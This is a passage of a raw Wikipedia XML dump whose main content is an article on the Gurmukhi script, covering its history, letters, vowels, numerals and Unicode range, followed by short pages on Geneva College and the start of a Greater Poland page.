Meanwhile, the mercantile scripts of Punjab known as the [[Lande]] were normally not used for literary purposes. ''Landa'' means alphabet &quot;without tail&quot;, applying that the script did not have vowel symbols. In Punjab, there were at least ten different scripts classified as [[Lande]], [[Mahajani]] being the most popular. The [[Lande]] alphabets were used for household and trade purposes. Compared to the [[Lande]], Sikh Gurus favoured the use of ''Proto-Gurmukhi'', because of the difficulties involved in pronouncing words without vowel signs.

The usage of Gurmukhi letters in [[Guru Granth Sahib]] meant that the script developed its own orthographical rules. In the following epochs, Gurmukhi became the prime script applied for literary writings of the Sikhs. Later in the 20th century, the script was given the authority as the official script of the Eastern [[Punjabi]] language. Meanwhile, in Western Punjab a form of the ''Urdu script'', known as [[Shahmukhi]] is still in use.    

=== ''Gurmukhi'' etymology ===

The word ''Gurmukhi'' is commonly translated as &quot;from the Mouth of the Guru&quot;. However, the term used for the ''Punjabi script'' has somewhat different connotations. The opinion given by traditional scholars is that as the Sikh holy writings, before they were scribed, were uttered by the Gurus, they came to be known as Gurmukhi or the &quot;''Utterance'' of the Guru&quot;. And consequently, the script that was used for scribing the ''utterance'' was also given the same name. However, the prevalent view among Punjabi linguists is that as in the early stages the Gurmukhi letters were primarily used by ''Gurmukhs'', or the Sikhs devoted to the Guru, the script came to be associated with them. Another view is that as the ''Gurmukhs'', in accordance with the Sikh belief, used to meditate on the letters &amp;#2613;, &amp;#2617;, &amp;#2583;, &amp;#2608;  which jointly form &amp;#2613;&amp;#2622;&amp;#2617;&amp;#2623;&amp;#2583;&amp;#2625;&amp;#2608;&amp;#2626; or God in Sikhism, these letters were called ''Gurmukhi'' or the &quot;''speech'' of the Gurmukhs&quot;. Subsequently, the whole script came to be known as Gurmukhi.

== Alphabet ==

The Gurmukhi alphabet contains thirty-five distinct letters. The first three letters are unique because they form the basis for vowels and are not consonants. Except for Aira, the first three characters are never used on their own. See the section on vowels for further details.

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|- bgcolor=&quot;#CCCCCC&quot; align=&quot;center&quot;
! colspan=&quot;2&quot; | Name !! Pron.
! colspan=&quot;2&quot; | Name !! Pron.
! colspan=&quot;2&quot; | Name !! Pron.
! colspan=&quot;2&quot; | Name !! Pron.
! colspan=&quot;2&quot; | Name !! Pron.
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2675; || Ura      ||
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2565; || Aira     ||
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2674; || Iri      ||
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2616; || Sussa    || ''Sa''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2617; || Haha     || ''Ha''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2581; || Kakka    || ''Ka''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2582; || Khukha   || ''Kha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2583; || Gugga    || ''Ga''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2584; || Ghugga   || ''Gha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2585; || Ungga    || ''Nga''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2586; || Chuchaa  || ''Ca''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2587; || Chhuchha || ''Cha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2588; || Jujja    || ''Ja''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2589; || Jhujja   || ''Jha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2590; || Yanza    || ''Nya''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2591; || Tainka   || ''Tta''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2592; || Thutha   || ''Ttha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2593; || Dudda    || ''Dda''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2594; || Dhudda   || ''Ddha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2595; || Nahnha   || ''Nna''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2596; || Tutta    || ''Ta''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2597; || Thutha   || ''Tha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2598; || Duda     || ''Da''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2599; || Dhuda    || ''Dha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2600; || Nunna    || ''Na''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2602; || Puppa    || ''Pa''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2603; || Phupha   || ''Pha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2604; || Bubba    || ''Ba''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2605; || Bhubba   || ''Bha''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2606; || Mumma    || ''Ma''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2607; || Yaiyya   || ''Ya''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2608; || Rara     || ''Ra''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2610; || Lulla    || ''La''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2613; || Vava     || ''Va''
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2652; || Rahrha   || ''Rra''
|}

In addition to these, there are six consonants created by placing a dot (bindi) at the foot (pair) of the consonant:

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|- bgcolor=&quot;#CCCCCC&quot; align=&quot;center&quot;
! colspan=&quot;2&quot; | Name !! Pron.
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2614; || Shusha paireen bindi || ''Sha''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2649; || Khukha paireen bindi || ''Khha''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2650; || Gugga paireen bindi  || ''Ghha''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2651; || Zuzza paireen bindi  || ''Za''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2654; || Fuffa paireen bindi  || ''Fa''
|- align=&quot;center&quot;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2611; || Lulla paireen bindi  || ''Lla''
|}

Lulla paireen bindi was only recently added to the Gurmukhi alphabet.  Some sources may not consider it a separate letter.

== Vowels ==

Gurmukhi follows similar concepts to other [[Brahmi]] scripts and as such, all consonants are followed by an inherent&amp;#8216;a&amp;#8217;sound (unless at the end of a word when the &amp;#8216;a&amp;#8217; is usually dropped). This inherent vowel sound can be changed by using dependent vowel signs which attach to a bearing consonant. In some cases, dependent vowel signs cannot be used &amp;#8211; at the beginning of a word or syllable for instance &amp;#8211; and so an independent vowel character is used instead.

Independent vowels are constructed using three bearer characters: Ura (&amp;#2675;), Aira (&amp;#2565;) and Iri (&amp;#2674;).  With the exception of Aira (which represents the vowel 'a') they are never used without additional vowel signs.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;8&quot; style=&quot;border-collapse:collapse;&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! colspan=&quot;3&quot; | Vowel !! colspan=&quot;2&quot; | Name !! rowspan=&quot;2&quot; | IPA
|- bgcolor=&quot;#CCCCCC&quot;
! colspan=&quot;1&quot; | Ind.
! colspan=&quot;1&quot; | Dep.
! colspan=&quot;1&quot; | with /k/
! colspan=&quot;1&quot; | Letter
! colspan=&quot;1&quot; | Unicode
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2565;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:14px&quot; align=&quot;center&quot; | (none)
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;
| Mukta    || A  || {{IPA|[&amp;#601;]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2566;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2622;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2622;
| Kanna    || AA || {{IPA|[&amp;#593;]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2567;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2623;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2623;
| Sihari   || I  || {{IPA|[&amp;#618;]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2568;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2624;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2624;
| Bihari   || II || {{IPA|[i]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot;| &amp;#2569;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot;| &amp;#2625;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot;| &amp;#2581;&amp;#2625;
| Onkar    || U  || {{IPA|[&amp;#650;]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2570;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2626;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2626;
| Dulankar || UU || {{IPA|[u]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2575;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2631;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2631;
| Lavan    || EE || {{IPA|[e]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2576;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2632;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2632;
| Dulavan  || AI || {{IPA|[æ&lt;!-- Might be &amp;#603;? --&gt;]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2579;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2635;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2635;
| Hora     || O  || {{IPA|[o]}}
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2580;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2636;
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; align=&quot;center&quot; | &amp;#2581;&amp;#2636;
| Kanuara  || AU || {{IPA|[&amp;#596;]}}
|}

Dotted circles represent the bearer consonant.  Vowels are always pronounced after the consonant they are attached to. Thus, Sihari is always written to the left, but pronounced after the character on the right.

===Vowel Examples===
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; style=&quot;border-collapse:collapse;&quot;
|-
! colspan=&quot;1&quot; | Word !! Transcription !! Meaning
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2566;&amp;#2610;&amp;#2626; || &amp;#257;l&amp;#363; || potato
|-
| bgcolor=&quot;#CCCCCC&quot; style=&quot;font-size:24px&quot; | &amp;#2598;&amp;#2623;&amp;#2610; || dil || heart
|}

== Halant ==

The Halant (&amp;#2637;) character is not used when writing Punjabi in Gurmukhi. However, it may occasionally be used in Sanskritised text or in dictionaries for extra phonetic information. When it is used, it represents the suppression of the inherent vowel.

The affect of this is shown below:

:&amp;#2581; – Ka

:&amp;#2581;&amp;#2637; – K

== Numerals ==

Gurmukhi has its own set of numerals that behave exactly as [[Hindu-Arabic numerals]] do. These are used extensively in older texts. In modern contexts, they are being replaced by standard Latin numerals although they are still in widespread use.

:0 - &amp;#2662;

:1 - &amp;#2663;

:2 - &amp;#2664;

:3 - &amp;#2665;

:4 - &amp;#2666;

:5 - &amp;#2667;

:6 - &amp;#2668;

:7 - &amp;#2669;

:8 - &amp;#2670;

:9 - &amp;#2671;

== Other Signs ==

Bindi (&amp;#2562;) and Tippi (&amp;#2672;) are used for [[nasalisation]] (similar to the ‘n’ sound in words ending in ‘ing’). In general, Onkar (&amp;#2625;) and Dulankar (&amp;#2626;) take Bindi in their initial forms and Tippi when used after a consonant. All other short vowels take Tippi and all other long vowels take Bindi. Older texts may not follow these conventions.

The use of Addak (&amp;#2673;) indicates that the following consonant is [[geminate]]. This means that the subsequent consonant is doubled or reinforced.

== Visarg ==
The Visarg symbol (&amp;#2563;) is used very occasionally in Gurmukhi. It can either represent an abbreviation (like period is used in English) or it can act like a [[Sanskrit]] [[Visarga]] where a voiceless ‘h’ sound is pronounced after the vowel.

== Ek Onkar ==

[[Ek Onkar]] (&amp;#2676;) is a Gurmukhi symbol that is often used in [[Sikh]] literature. It literally means ‘one God’.

== Gurmukhi in Unicode ==

The [[Unicode]] range for Gurmukhi is U+0A00 to U+0A7F.  Using Unicode for Gurmukhi has only recently started to become widespread.  Many sites still use proprietary fonts that convert Latin ASCII codes to Gurmukhi [[glyph|glyphs]].


{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;font-size: large; border-collapse:collapse;&quot;
|- style=&quot;font-size: small; text-align:center;&quot;
| &amp;nbsp; || 0 || 1 || 2 || 3 || 4 || 5 || 6 || 7 || 8 || 9 || A || B || C || D || E || F
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A00
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2561;
||&amp;#2562;
||&amp;#2563;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2565;
||&amp;#2566;
||&amp;#2567;
||&amp;#2568;
||&amp;#2569;
||&amp;#2570;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2575;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A10
||&amp;#2576;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2579;
||&amp;#2580;
||&amp;#2581;
||&amp;#2582;
||&amp;#2583;
||&amp;#2584;
||&amp;#2585;
||&amp;#2586;
||&amp;#2587;
||&amp;#2588;
||&amp;#2589;
||&amp;#2590;
||&amp;#2591;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A20
||&amp;#2592;
||&amp;#2593;
||&amp;#2594;
||&amp;#2595;
||&amp;#2596;
||&amp;#2597;
||&amp;#2598;
||&amp;#2599;
||&amp;#2600;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2602;
||&amp;#2603;
||&amp;#2604;
||&amp;#2605;
||&amp;#2606;
||&amp;#2607;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A30
||&amp;#2608;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2610;
||&amp;#2611;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2613;
||&amp;#2614;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2616;
||&amp;#2617;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2620;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2622;
||&amp;#2623;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A40
||&amp;#2624;
||&amp;#2625;
||&amp;#2626;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2631;
||&amp;#2632;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2635;
||&amp;#2636;
||&amp;#2637;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A50
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2649;
||&amp;#2650;
||&amp;#2651;
||&amp;#2652;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2654;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A60
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
||&amp;#2662;
||&amp;#2663;
||&amp;#2664;
||&amp;#2665;
||&amp;#2666;
||&amp;#2667;
||&amp;#2668;
||&amp;#2669;
||&amp;#2670;
||&amp;#2671;
|- align=&quot;center&quot; style=&quot;font-size: small;&quot;
|A70
||&amp;#2672;
||&amp;#2673;
||&amp;#2674;
||&amp;#2675;
||&amp;#2676;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
| bgcolor=&quot;#CCCCCC&quot; | &amp;nbsp;
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== Bibliography ==

Following books/articles have been written on the origins of the [[Gurmukhi]] script (all in the [[Punjabi language]]):

Gurbaksh (G.B.) Singh. ''Gurmukhi Lipi da Janam te Vikas.'' Chandigarh: Punjab University, 1950.

Ishar Singh Tãgh, Dr. ''Gurmukhi Lipi da Vigyamulak Adhiyan.'' Patiala: Jodh Singh Karamjit Singh.

Kala Singh Bedi, Dr. ''Lipi da Vikas.'' Patiala: Punjabi University, 1995.

Kartar Singh Dakha.'' Gurmukhi te Hindi da Takra.'' 1948.

Piara Singh Padam, Prof. ''Gurmukhi Lipi da Itihas.'' Patiala: Kalgidhar Kalam Foundation Kalam Mandir, 1953.  

Prem Parkash Singh, Dr. &quot;Gurmukhi di Utpati.&quot; ''Khoj Patrika'', Patiala: Punjabi University.

Pritam Singh, Prof. &quot;Gurmukhi Lipi.&quot; ''Khoj Patrika''. p.110, vol.36, 1992. Patiala: Punjabi University.

Sohan Singh Galautra. ''Punjab dian Lipiã.''

Tarlochan Singh Bedi, Dr. ''Gurmukhi Lipi da Janam te Vikas.'' Patiala: Punjabi University, 1999.

==External links==

* [http://guca.sourceforge.net/ Punjabi Computing Resource Centre]
* [http://guca.sourceforge.net/typography/fonts/saab/ Saab - A free Unicode 4.0 OpenType Gurmukhi font]
* [http://www.zenofliving.ca/bhupinder/punjabi.php/ Gurmukhi pseudo text generator]
* [http://www.unitedpunjab.com/punjabi-works/punjabi-keyboard.html Unicode Punjabi (Gurmukhi/Shahmukhi) WebBased OnScreen Keyboard&lt;--]
* [http://www.5abi.com/5ratan/ Free online Punjabi (Gurmukhi) lessons]
* [http://www.punjabonline.com/servlet/library.language?Action=Main Learn Gurmukhi]
* [http://www.omniglot.com/writing/gurmuki.htm Omniglot's guide to Gurmukhi]
* [http://www.alanwood.net/unicode/gurmukhi.html Test for Unicode support in Web browsers]
* [http://www.unicode.org/charts/PDF/U0A00.pdf Unicode script chart for Gurmukhi (PDF file)]
* [http://punjabirc.tiet.ac.in/On-Line-Teaching-Punjabi/frame/PUNJABI%20intro%20page1.htm Introduction to Gurmukhi]
* [http://www.advancedcentrepunjabi.org The Advanced Centre for Technical Development of Punjabi language, Literature and Culture, Punjabi University, Patiala] 
[[Category:Abugida writing systems]]
[[Category:Sikhism]]

[[br:Skritur gurmukhi]]
[[de:Gurmukhi-Schrift]]
[[fr:Gurmukhî]]
[[nl:Gurmukhi]]
[[nn:Gurmukhi]]</text>
    </revision>
  </page>
  <page>
    <title>Gurmukhi script</title>
    <id>13081</id>
    <revision>
      <id>26801080</id>
      <timestamp>2005-10-29T16:38:40Z</timestamp>
      <contributor>
        <username>Martin.Budden</username>
        <id>453630</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Gurmukhī script]]</text>
    </revision>
  </page>
  <page>
    <title>Geneva College</title>
    <id>13082</id>
    <revision>
      <id>40364203</id>
      <timestamp>2006-02-20T01:56:45Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;285px&quot; style=&quot;margin-left:20px&quot;&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=2&gt;
[[Image:oldmain1.jpg]]
&lt;br&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray; font-size: smaller&quot;&gt;''Motto: Pro Christo et Patria''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;President&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;Kenneth A. Smith&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;School type&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;Private; Christian&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Religious affiliation&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;[[Reformed Presbyterian Church of North America|Reformed Presbyterian]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot;&gt;Founded&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;1848&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Location&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;Main Campus:&lt;br&gt;[[Beaver Falls, Pennsylvania|Beaver Falls]], [[Pennsylvania]]&lt;br&gt;Branch Campuses:&lt;br&gt;Philadelphia&lt;br&gt;[[Pittsburgh]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Total Enrollment&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;2,100&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Faculty&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;79 (full time)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Campus surroundings&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;Suburban&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Campus size&lt;/td&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;55 acres (223,000 m&amp;sup2;)&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td bgcolor=&quot;#efefef&quot; &gt;Sports teams&lt;/td&gt; &lt;!--if called different than mascot--&gt;
&lt;td bgcolor=&quot;#dfefff&quot;&gt;Golden Tornadoes&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
:'''''Geneva College''' was the original name of [[Hobart College]]. 

'''Geneva College''' is a small, private, liberal arts college located in the [[Pittsburgh]] suburb of [[Beaver Falls, Pennsylvania]]. Founded in [[1848]] in [[Northwood, Ohio]], by the [[Reformed Presbyterian Church of North America]], Geneva was named after the Swiss center of the Reformed faith movement. In [[1880]], the College moved to Beaver Falls and built a campus on land donated by the [[Harmony Society]].

Geneva offers undergradate degree programs in the arts and sciences, and masters degree programs in Counseling, Higher Education, Business Administration, Organizational Leadership, and Special Education.

The school's sports teams are called the Golden Tornadoes.  Except for the [[college football|football]] team, the teams participate in the [[National Association of Intercollegiate Athletics|NAIA]] and the [[American Mideast Conference]].  The football team participates in the [[Mid-States Football Association]].  In 2005, Geneva began participating in the [[Presidents' Athletic Conference]] of [[NCAA]] Division III as a provisional member.  Geneva is expected to become a full member in [[2011]].

Geneva College bills itself the &quot;Birthplace of College Basketball.&quot;  The first recorded basketball game involving a college team occurred at Geneva College on [[April 8]], [[1893]] when the Geneva College Covenanters defeated the [[New Brighton, Pennsylvania|New Brighton]] [[YMCA]].

==External links==	 
* [http://www.geneva.edu/ College website]
* [http://donhansen2.blogspot.com/2005/10/geneva-college-added-as-ninth-member.html  Geneva makes move to NCAA Div. III]	 	 

{{Pittsburgh Universities}}

[[Category:Universities and colleges in Pennsylvania]]
[[Category:Christian universities and colleges]]</text>
    </revision>
  </page>
  <page>
    <title>Greater Poland</title>
    <id>13083</id>
    <revision>
      <id>32531986</id>
      <timestamp>2005-12-23T22:38:25Z</timestamp>
      <contributor>
        <username>Evilboy</username>
        <id>326497</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| align=&quot;right&quot;
|[[Image:Wlkp herb.jpg|center|100px|Greater Poland Voivodship modern coats of arms]]
|-
|&lt;center&gt;''[[Greater Poland Voivodship]]&lt;br&gt;modern coats of arms''&lt;/center&gt;
|}

